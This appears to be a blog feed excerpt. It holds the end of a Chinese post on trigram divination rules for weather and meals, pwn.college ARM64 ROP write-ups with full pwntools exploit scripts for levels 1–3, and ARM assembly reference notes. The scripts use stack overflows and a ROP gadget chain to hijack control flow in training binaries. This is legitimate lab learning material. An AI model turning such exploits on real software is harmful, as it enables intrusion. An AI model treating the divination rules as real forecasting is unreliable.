&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;连山和归藏分别是夏朝的易和商朝的易，现在已经失传。&lt;/p&gt;
&lt;p&gt;:::important
因为现在所处的世界是后天世界，所以后天卦位对于我们起出来的卦有很强的影响。&lt;/p&gt;
&lt;p&gt;如果把卦位比作一艘船的话，卦在船上，季令是风，如果是好的季令，那就是顺风，但如果风不好，卦位好的话也可以保命，待的来日风来运转。
:::&lt;/p&gt;
&lt;h2&gt;伏羲先天八卦（炁）&lt;/h2&gt;
&lt;p&gt;自阳（乾）而生，自阴（坤）而灭。&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3yezduyxxp.gif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h2&gt;文王後天八卦（气）&lt;/h2&gt;
&lt;p&gt;古人讲究君子坐阵北方，面南而治，故八卦方位是上南下北左东又西。&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8s3u9zzznv.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;记的时候，先记住四正位，剩下四余位就很好记了。&lt;/p&gt;
&lt;h1&gt;体用十八占&lt;/h1&gt;
&lt;h2&gt;天时占&lt;/h2&gt;
&lt;p&gt;凡占天时，不分体用，全观诸卦，详推五行。离多主晴，坎多主雨；坤乃阴晦，乾主晴明。震多则春夏雷轰，巽多则四时风冽。艮多则久雨必晴，兑多则不雨亦阴。夏占离多而无坎，则亢旱炎炎；冬占坎多而无离，则雨雪飘飘。&lt;/p&gt;
&lt;p&gt;全观诸卦者，谓互、变卦。五行谓离属火，主晴；坎为水，主雨。坤为地气，主阴；乾为天，主晴明。震为雷，巽为风。秋冬震多无制，亦有非常之雷；有巽佐之，则为风撼震动之应。艮为山云之气，若雨久，得艮则当止，艮者止也，亦土克水之义。兑为泽，不雨亦阴。&lt;/p&gt;
&lt;p&gt;夫以造化之辨固难测，理数之妙亦可凭。是以乾象乎天，四时晴明；坤体乎地，一气惨然。乾坤两同，晴雨时变；坤艮两并，阴晦不常。&lt;/p&gt;
&lt;p&gt;卜数有阳有阴，卦象有奇有偶。阴雨阳晴，奇偶暗重。坤为老阴之极，而久晴必雨；乾为老阳之极，而久雨必晴。若逢重坎重离，亦曰时晴时雨。坎为水必雨，离为火必晴。乾兑之金，秋高明清，冬雪凛冽。坤艮之土，春雨泽，夏炎蒸。&amp;lt;i&amp;gt;《易》&amp;lt;/i&amp;gt;曰：「云从龙，风从虎。」又曰：「艮为云，巽为风。」艮巽重逢，风云际会，飞沙走石，蔽日藏山，不以四时，不必二用。&lt;/p&gt;
&lt;p&gt;坎在艮上，布雾兴云；若在兑上，凝霜作雪。乾兑为霜雪霰雹，离火为日电虹霓。离为电，震为雷，重会而雷电俱作；坎为雨，巽为风，相逢则风雨骤兴。震卦重逢，雷惊百里；坎爻迭见，润泽九垓。故卦体之两逢，亦爻象之总断。&lt;/p&gt;
&lt;p&gt;地天泰，水天需，昏蒙之象；天地否，水地比，黑暗之形。八纯离，夏必旱，四季皆晴；八纯坎，冬必寒，四时多雨。久雨不晴，逢艮则止；久晴不雨，得此亦然。&lt;/p&gt;
&lt;p&gt;又若水火既济，火水未济，四时不测风云；风泽中孚，泽风大过，三冬必然雨雪。水山蹇，山水蒙，百步必须执盖；地风升，风地观，四时不可行船。离在艮上，暮雨朝晴；离互艮宫，暮晴朝雨。巽坎互离，虹霞乃见；巽离互坎，造化亦同。&lt;/p&gt;
&lt;p&gt;又须推测四时，不可执迷一理。震离为电为雷，应在夏天；乾兑为霜为雪，验于冬月。天地之理大矣哉，理数之妙至矣哉。得斯文者，当敬宝之。&lt;/p&gt;
&lt;p&gt;:::note
阴多则阴，阳多则云。比如坤艮都是土，也就是云，但区别在于坤是阴卦，艮是阳卦，所以艮可以是多云，但是坤不太可能是多云，而应该是阴。不过还是需要综合来看。
:::&lt;/p&gt;
&lt;h2&gt;饮食占&lt;/h2&gt;
&lt;p&gt;凡占饮食，以体为主，用为饮食。用生体，饮食必丰，体生用，饮食难就。体克用，则饮食有阻；用克体，饮食必无。体用比和，饮食丰足。又，卦中有坎则有酒，有兑则有食，无坎无兑则皆无。兑坎生身，酒肉醉饱。欲知所食何物，以饮食推之；欲知席上何人，以互卦人事推之。饮食人事类者，即前八卦内万物属类是也。&lt;/p&gt;
&lt;h3&gt;饮食篇&lt;/h3&gt;
&lt;h4&gt;乾&lt;/h4&gt;
&lt;p&gt;夫乾之为象也，圆坚而味辛，取象乎卯，为牲之首，为马为猪。秋得之而食禄盛，夏得之则食禄衰。春为时新之物，水果蔬菜之属；冬为冷物，隔宿之食。有坎，乃江湖海味；有水，而蔬果珍馐。&lt;/p&gt;
&lt;h4&gt;艮&lt;/h4&gt;
&lt;p&gt;艮为土物同烹，离乃火边煎炙。秋为蟹，春为马，凡内必多肉，其味必辛。盛有瓦器，伴有金樽。其于菜也为芹，其于物也带羽，克出生回，食必鹅鸭；生克出入，野菜无名。&lt;/p&gt;
&lt;h4&gt;坤&lt;/h4&gt;
&lt;p&gt;坤其于坤也，远客至，故人来。所用必瓦器，所食米果土味。静则梨枣茄芋，动则鱼鲊鲜羊。无骨肉脯，杀亦为腌藏，亦为肚肠，遇客必妇人。克此必主口舌。克出生回，乃牲之味；克入生出，乃杂物之烹。见乾兑，细切薄皮，见震巽，而新生旧煮。其色黑黄，其味甘甜。水火并之，蒸饮而已。四时皆为米麦之味，必带麻姜。仔细推详，必有验也。&lt;/p&gt;
&lt;h4&gt;巽&lt;/h4&gt;
&lt;p&gt;巽之为卦，主文书束约之间，讲论之际，外客婚姻，故人旧交，或主远信近期。其色白青，其性曲直，其味酸，其象长。桃李木瓜，斋辣素食，为鱼为鸡，其豆其面。非济挚而得之，必锄掘而得之。有乾兑食之而致病，有坤得之非难。坎为炒菜蔬，离为炒茶，带坎于中，酒汤共食，其无生，半斋半荤。其在艮也，会邻里，有贵人，食物不多，适口而已。其桔柚菜果蔬，斫伐之山林带节。虎狗兔鹿，渔捕网罗，米麻面麦，克入杂食，克出羊肉，克入口舌是非阴灾，极不可食。其味甘甜，其色玄黄。&lt;/p&gt;
&lt;h4&gt;坎&lt;/h4&gt;
&lt;p&gt;坎为水象也，水近信至海内，味香，有细鳞，或四足。凡曰水族，必可饮食也。或闻萧鼓之声，或在礼乐之所。其色黑，其味咸。克出饮酒，生回食鱼。为豕、为目、为耳、为血。羹汤物味，酒食水酱。遇离而说文书，逢乾而为海味。&lt;/p&gt;
&lt;h4&gt;震&lt;/h4&gt;
&lt;p&gt;震之为卦，木属也。酒友疏狂，虚惊怪异。大树之果，园林之蔬。其色青，其味酸，其数多，会客少。或有膻臭之气，或有异香之肴。同离多主盐茶，见坎或为盐腊。&lt;/p&gt;
&lt;h4&gt;离&lt;/h4&gt;
&lt;p&gt;离则文书交易，亲戚师儒。坐中多礼貌之人，筵中总英才之士。其物乃煎烤炙烧，其间或茶盐。白日之夕，虽之以烛。春夏之际，凡物带花。老人莫食，心事不宁。少者宜之。宜讲论，即有益。为鸡、为雉、为蟹、为蛇。色赤味苦，性热而气香。逢坎而酒请有争，逢巽则炒菜而已。&lt;/p&gt;
&lt;h4&gt;兑&lt;/h4&gt;
&lt;p&gt;兑之为卦，其属白金，其味辛而色白。或远客暴至，或近交争来。凡动物刃砧，凡味必有辛辣，凡包裹腌藏。其于暴也，为韭、为芹、为菱；其于菜也，为葱、为韭。盛而有腥臭，旺而有羊鹅。坐间有僭 越之人，或有歌娼之女。单则必然口舌，重则必然欢喜。生出多食，克出好事。&lt;/p&gt;
&lt;p&gt;夫算其饮食，必须察其动静，故动则有，静则无。以体卦，下卦为己，卦上为人，卦下为，变为客；互之上为酒，下为食物。取象体之下为何食，变为客，体下食之不终，生体下吉。克体之不得食，他人克应亦难食。他人生，他人请。己生体生下，己请人。互受生，后不计杯勺。上体受生，客不计数。变生互，客有后至者；互生克，有先去者，取其日时，以互卦用矣。&lt;/p&gt;
</content:encoded></item><item><title>Write-ups: ARM Architecture (ARM64 ROP) series</title><link>https://cubeyond.net/posts/write-ups/pwncollege-arm-rop/</link><guid isPermaLink="true">https://cubeyond.net/posts/write-ups/pwncollege-arm-rop/</guid><description>Write-ups for pwn.college binary exploitation series.</description><pubDate>Sun, 11 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;工欲善其事，必先利其器&lt;/h1&gt;
&lt;h2&gt;Speedrun 异架构汇编&lt;/h2&gt;
&lt;p&gt;直接看我&lt;a href=&quot;/posts/cs-notes/cross-isas/&quot;&gt;笔记&lt;/a&gt;就好了，虽然不是很详细，后面有时间的话我会再多写点的&amp;lt;i&amp;gt;/画大饼，很大很大的饼（bushi&amp;lt;/i&amp;gt;&lt;/p&gt;
&lt;h2&gt;异架构环境搭建&lt;/h2&gt;
&lt;p&gt;由于我使用的是 Arch Linux，所以这里的搭建步骤都按照 Arch 的用法来写，不过实际上其它发行版的大致流程也大差不差的。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;paru -S qemu-user-static qemu-user-static-binfmt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;确保 &lt;code&gt;binfmt&lt;/code&gt; 安装成功：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ls /proc/sys/fs/binfmt_misc/qemu-aarch64
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;创建 &lt;code&gt;aarch64-rootfs&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;paru -S debootstrap
sudo debootstrap --arch=arm64 bookworm /opt/aarch64-rootfs http://deb.debian.org/debian
sudo chroot /opt/aarch64-rootfs /bin/bash
uname -m # should result aarch64
apt update
apt install -y libcapstone4 # just install needed packages, for dynamically linked programs
exit
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::important
上面这个创建 &lt;code&gt;aarch64-rootfs&lt;/code&gt; 然后安装软件包是为了解决非静态链接的异架构 ELF 文件无法运行的问题，至于具体安装什么软件包，也是取决于那个动态连接的文件用到了什么包，&lt;code&gt;libcapstone4&lt;/code&gt; 只是举个例子，需要根据实际情况来判断。&lt;/p&gt;
&lt;p&gt;如果给的是静态链接的 ELF 文件，则一般可以直接使用 &lt;code&gt;qemu-aarch64-static ./file&lt;/code&gt; 来运行。&lt;/p&gt;
&lt;p&gt;简单介绍一下 &lt;code&gt;qemu-user&lt;/code&gt; 和 &lt;code&gt;qemu-user-static&lt;/code&gt; 之间的区别，其实就是 &lt;code&gt;qemu&lt;/code&gt; 本身是否静态链接。静态链接版本的会提供一些最基本的库，动态链接版本的则完全没有，就那么简单，所以一般使用 &lt;code&gt;static&lt;/code&gt; 版本即可。&lt;/p&gt;
&lt;p&gt;至于 &lt;code&gt;binfmt&lt;/code&gt; 的作用，可以简单理解为隐藏了手动确认架构信息这些步骤，自动识别架构。这里我完全是为了图方便，因为手动设置架构的时候 &lt;code&gt;chroot&lt;/code&gt; 没成功，改用 &lt;code&gt;binfmt&lt;/code&gt; 就一次过了，太懒了，没深入研究哈哈哈，这种东西能跑就行&amp;lt;i&amp;gt;/逃&amp;lt;/i&amp;gt;
:::&lt;/p&gt;
&lt;h1&gt;Level 1.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;The goal of this level is quite simple: redirect control flow to the win function.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;经典栈溢出 plus 后门。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

import argparse

from pwn import (
    ELF,
    context,
    flat,
    gdb,
    process,
    raw_input,
    remote,
)

parser = argparse.ArgumentParser()
parser.add_argument(&quot;-L&quot;, &quot;--local&quot;, action=&quot;store_true&quot;, help=&quot;Run locally&quot;)
parser.add_argument(&quot;-G&quot;, &quot;--gdb&quot;, action=&quot;store_true&quot;, help=&quot;Enable GDB&quot;)
parser.add_argument(&quot;-P&quot;, &quot;--port&quot;, type=int, default=1234, help=&quot;GDB port for QEMU&quot;)
parser.add_argument(&quot;-T&quot;, &quot;--threads&quot;, type=int, default=None, help=&quot;Thread count&quot;)
args = parser.parse_args()


FILE = &quot;/challenge/level-1-0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
libc = elf.libc


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch(argv=None, envp=None):
    global target, thread

    if argv is None:
        argv = [FILE]

    if args.local and args.threads is not None:
        raise ValueError(&quot;Options -L and -T cannot be used together.&quot;)

    if args.local:
        if args.gdb and &quot;qemu&quot; in argv[0]:
            if &quot;-g&quot; not in argv:
                argv.insert(1, str(args.port))
                argv.insert(1, &quot;-g&quot;)
        target = process(argv, env=envp)
    elif args.threads:
        if args.threads &amp;lt;= 0:
            raise ValueError(&quot;Thread count must be positive.&quot;)
        process(FILE)

        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    # launch([&quot;qemu-aarch64-static&quot;, &quot;-L&quot;, &quot;/opt/aarch64-rootfs&quot;, FILE])
    target = process([&quot;/challenge/run&quot;])

    payload = flat(
        {
            0x7C: elf.sym[&quot;win&quot;],
        },
        filler=b&quot;\x00&quot;,
    )
    raw_input(&quot;DEBUG&quot;)
    target.send(payload)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 2.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Now let&apos;s see about redirect control flow to multiple functions.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;嗯，是当年新手村那味儿没错了～满满的回忆哈哈哈。&lt;/p&gt;
&lt;p&gt;简单说一下，调用函数会把返回地址保存在 &lt;code&gt;LR&lt;/code&gt; 寄存器，函数 &lt;code&gt;ret&lt;/code&gt; 差不多就是 &lt;code&gt;x30 = LR, br x30&lt;/code&gt;，所以只要注意观察 epilogue 然后计算就好了。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

import argparse

from pwn import (
    ELF,
    context,
    flat,
    gdb,
    process,
    raw_input,
    remote,
)

parser = argparse.ArgumentParser()
parser.add_argument(&quot;-L&quot;, &quot;--local&quot;, action=&quot;store_true&quot;, help=&quot;Run locally&quot;)
parser.add_argument(&quot;-G&quot;, &quot;--gdb&quot;, action=&quot;store_true&quot;, help=&quot;Enable GDB&quot;)
parser.add_argument(&quot;-P&quot;, &quot;--port&quot;, type=int, default=1234, help=&quot;GDB port for QEMU&quot;)
parser.add_argument(&quot;-T&quot;, &quot;--threads&quot;, type=int, default=None, help=&quot;Thread count&quot;)
args = parser.parse_args()


FILE = &quot;/challenge/level-2-0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
libc = elf.libc


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch(argv=None, envp=None):
    global target, thread

    if argv is None:
        argv = [FILE]

    if args.local and args.threads is not None:
        raise ValueError(&quot;Options -L and -T cannot be used together.&quot;)

    if args.local:
        if args.gdb and &quot;qemu&quot; in argv[0]:
            if &quot;-g&quot; not in argv:
                argv.insert(1, str(args.port))
                argv.insert(1, &quot;-g&quot;)
        target = process(argv, env=envp)
    elif args.threads:
        if args.threads &amp;lt;= 0:
            raise ValueError(&quot;Thread count must be positive.&quot;)
        process(FILE)

        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    # launch([&quot;qemu-aarch64-static&quot;, &quot;-L&quot;, &quot;/opt/aarch64-rootfs&quot;, FILE])
    target = process([&quot;/challenge/run&quot;])

    payload = flat(
        {
            0x8C: elf.sym[&quot;win_stage_1&quot;] + 0x8,
            0x1BC: elf.sym[&quot;win_stage_2&quot;] + 0x8,
        },
        filler=b&quot;\x00&quot;,
    )
    raw_input(&quot;DEBUG&quot;)
    target.send(payload)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 3.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;What about passing arguments to multiple functions?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;Multiple stages + argument control, 回忆啊，都是回忆……&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

import argparse

from pwn import (
    ELF,
    ROP,
    context,
    flat,
    gdb,
    process,
    raw_input,
    remote,
)

parser = argparse.ArgumentParser()
parser.add_argument(&quot;-L&quot;, &quot;--local&quot;, action=&quot;store_true&quot;, help=&quot;Run locally&quot;)
parser.add_argument(&quot;-G&quot;, &quot;--gdb&quot;, action=&quot;store_true&quot;, help=&quot;Enable GDB&quot;)
parser.add_argument(&quot;-P&quot;, &quot;--port&quot;, type=int, default=1234, help=&quot;GDB port for QEMU&quot;)
parser.add_argument(&quot;-T&quot;, &quot;--threads&quot;, type=int, default=None, help=&quot;Thread count&quot;)
args = parser.parse_args()


FILE = &quot;/challenge/level-3-0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
libc = elf.libc


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch(argv=None, envp=None):
    global target, thread

    if argv is None:
        argv = [FILE]

    if args.local and args.threads is not None:
        raise ValueError(&quot;Options -L and -T cannot be used together.&quot;)

    if args.local:
        if args.gdb and &quot;qemu&quot; in argv[0]:
            if &quot;-g&quot; not in argv:
                argv.insert(1, str(args.port))
                argv.insert(1, &quot;-g&quot;)
        target = process(argv, env=envp)
    elif args.threads:
        if args.threads &amp;lt;= 0:
            raise ValueError(&quot;Thread count must be positive.&quot;)
        process(FILE)

        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    # launch([&quot;qemu-aarch64-static&quot;, &quot;-L&quot;, &quot;/opt/aarch64-rootfs&quot;, FILE])
    target = process([&quot;/challenge/run&quot;])

    # 0x00000000004014c8: ldp x0, x1, [sp]; br x1;
    x0_x1_br_x1 = 0x00000000004014C8
    payload = flat(
        {
            0x61: x0_x1_br_x1,
            0x61 + 0x8: 0x1,
            0x61 + 0x10: elf.sym[&quot;win_stage_1&quot;] + 0x8,
            0x191: x0_x1_br_x1,
            0x1A9: 0x2,
            0x1A9 + 0x8: elf.sym[&quot;win_stage_2&quot;] + 0x8,
            0x2D1: x0_x1_br_x1,
            0x2E9: 0x3,
            0x2E9 + 0x8: elf.sym[&quot;win_stage_3&quot;] + 0x8,
            0x411: x0_x1_br_x1,
            0x429: 0x4,
            0x429 + 0x8: elf.sym[&quot;win_stage_4&quot;] + 0x8,
            0x551: x0_x1_br_x1,
            0x569: 0x5,
            0x569 + 0x8: elf.sym[&quot;win_stage_5&quot;] + 0x8,
        },
        filler=b&quot;\x00&quot;,
    )
    raw_input(&quot;DEBUG&quot;)
    target.send(payload)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>The Cross-ISAs Notebook</title><link>https://cubeyond.net/posts/cs-notes/cross-isas/</link><guid isPermaLink="true">https://cubeyond.net/posts/cs-notes/cross-isas/</guid><description>Common ISAs speedrun notebook.</description><pubDate>Wed, 07 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;ARM&lt;/h1&gt;
&lt;h2&gt;Data processing&lt;/h2&gt;
&lt;h3&gt;Data Moving&lt;/h3&gt;
&lt;p&gt;Similar to amd64, the &lt;code&gt;mov&lt;/code&gt; instruction can be used. However, literal values must be prefixed with the &lt;code&gt;#&lt;/code&gt; symbol!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mov x1, #0x1337
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;aarch64 registers are 64 bits in size, but the &lt;code&gt;mov&lt;/code&gt; instruction only works with 16 bit immediate values.&lt;/p&gt;
&lt;p&gt;In order to move larger literal values, the &lt;code&gt;mov&lt;/code&gt; and &lt;code&gt;movk&lt;/code&gt; instructions are needed.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;movk&lt;/code&gt; loads a value into the destination register with a &lt;em&gt;specific bitshift&lt;/em&gt;, retaining all other bytes.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mov x1, #0xbeef
movk x1, #0xdead, lsl #16
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Results in &lt;code&gt;x1&lt;/code&gt; containing the value &lt;code&gt;0xdeadbeef&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Load / Store&lt;/h3&gt;
&lt;p&gt;Memory addresses cannot be directly accessed in aarch64. Only registers can be operated on.&lt;/p&gt;
&lt;p&gt;Values must be loaded from memory to a register with &lt;code&gt;ldr&lt;/code&gt; and written back to memory via &lt;code&gt;str&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;For example, to increment a value located at memory address &lt;code&gt;0x1337&lt;/code&gt;, the following instructions would be needed:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mov x1, #0x1337
ldr x0, [x1]
add x0, x0, #1
str x0, [x1]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Locations memory addresses can also be offset from. Example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mov x1, #0x4000
ldr x0, [x1, #8]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Would load 8 bytes stored at &lt;code&gt;0x4008&lt;/code&gt; into &lt;code&gt;x0&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Consecutive memory addresses can be loaded and stored in a single instruction as a pair:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ldp x0, x1, [sp]
stp x0, x1, [sp]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Above is equivalent to the following instructions:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ldr x0, [sp]
ldr x1, [sp, #8]
str x0, [sp]
str x1, [sp, #8]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Stack&lt;/h3&gt;
&lt;p&gt;aarch64 does not have the &lt;code&gt;push/pop&lt;/code&gt; instructions to work with the stack, instead, you must use &lt;code&gt;ldr&lt;/code&gt; and &lt;code&gt;str&lt;/code&gt; to retrieve values from the stack.&lt;/p&gt;
&lt;p&gt;Fortunately, both &lt;code&gt;ldr&lt;/code&gt; and &lt;code&gt;str&lt;/code&gt; have the ability to increment the address passed in pre/post access.&lt;/p&gt;
&lt;p&gt;This feature can be used to perform the same action:&lt;/p&gt;
&lt;p&gt;Popping the stack would be of the form:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ldr x1, [sp], #16
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This loads the value located at the stack pointer into register &lt;code&gt;x1&lt;/code&gt; and then adds 16 to the stack.&lt;/p&gt;
&lt;p&gt;Pushing to the stack would be of the form:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;str x1, [sp, #-16]!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This subtracts 16 from the stack pointer and then stores the value in &lt;code&gt;x1&lt;/code&gt; at &lt;code&gt;sp&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;:::note
In aarch64, the stack pointer must be 16 byte aligned! Accessing the stack pointer when it is not properly aligned will result in a fault!&lt;/p&gt;
&lt;p&gt;There is different syntax for accessing memory at an offset, &lt;em&gt;pre-indexing&lt;/em&gt;, and &lt;em&gt;post-indexing&lt;/em&gt;. All of these forms are used extensively in aarch64.
:::&lt;/p&gt;
&lt;h2&gt;Arithmetic Instructions&lt;/h2&gt;
&lt;p&gt;Arithmetic instructions take three arguments:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;add x0, x1, x2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is equivalent to &lt;code&gt;x0 = x1 + x2&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;madd x0, x0, x1, x2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is equivalent to &lt;code&gt;x0 = x2 + (x0 * x1)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Modulo in aarch64 cannot be done in a single instruction.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;r = a % b&lt;/code&gt; is equivalent to:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;q = a / b
r = a - q * b
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For example, calculate &lt;code&gt;x0 = x0 % x1&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sdiv x2, x0, x1
msub x0, x2, x1, x0
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Branch Instructions&lt;/h2&gt;
&lt;p&gt;Loops can be created using conditional branch instructions.&lt;/p&gt;
&lt;p&gt;The branch instruction in aarch64 is &lt;code&gt;b&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;To conditionally branch a dot suffix (ex: &lt;code&gt;.gt&lt;/code&gt;) is appended resulting in &lt;code&gt;b.gt&lt;/code&gt;. This would be equivalent to &lt;code&gt;jg&lt;/code&gt; in amd64.&lt;/p&gt;
&lt;h2&gt;Functions&lt;/h2&gt;
&lt;p&gt;Function calls in aarch64 are done with the branch and link instruction &lt;code&gt;bl&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The functions return value is stored in register &lt;code&gt;x0&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;bl&lt;/code&gt; instruction:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;does a &lt;em&gt;PC relative&lt;/em&gt; jump the specified location&lt;/li&gt;
&lt;li&gt;and stores the return address in the link register &lt;code&gt;lr&lt;/code&gt; (aka &lt;code&gt;x30&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It is the caller&apos;s responsibility to store the existing &lt;code&gt;lr&lt;/code&gt; value frame pointer and any needed values in &lt;code&gt;x0&lt;/code&gt; - &lt;code&gt;x15&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Registers &lt;code&gt;x16&lt;/code&gt; - &lt;code&gt;x18&lt;/code&gt; will be discussed later.&lt;/p&gt;
&lt;p&gt;Registers &lt;code&gt;x19&lt;/code&gt; - &lt;code&gt;x28&lt;/code&gt; are callee saved.&lt;/p&gt;
&lt;p&gt;The saved return address is stored in a special link register &lt;code&gt;lr&lt;/code&gt; (aka &lt;code&gt;x30&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;The saved frame pointer is stored in a special frame register &lt;code&gt;fp&lt;/code&gt; (aka &lt;code&gt;x29&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Given the role of &lt;code&gt;x29&lt;/code&gt; and &lt;code&gt;x30&lt;/code&gt;, it is common to see a function prologue similar to:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;stp x29, x30, [sp, #-48]!
mov x29, sp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here, the stack pointer is decremented to create a &lt;em&gt;function frame&lt;/em&gt; and &lt;code&gt;lr&lt;/code&gt; and &lt;code&gt;fp&lt;/code&gt; are stored on the stack. The last instruction shown sets the frame pointer.&lt;/p&gt;
&lt;p&gt;Note that the stack pointer and frame pointer are equal in this case. Local variables are stored &lt;strong&gt;ABOVE&lt;/strong&gt; the frame pointer. The stack pointer may decrement further when passing arguments via the stack or for dynamic stack allocations (&lt;code&gt;alloca&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Similarly, a function epilogue consists of:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ldp x29, x30, [sp], #48
ret
&lt;/code&gt;&lt;/pre&gt;
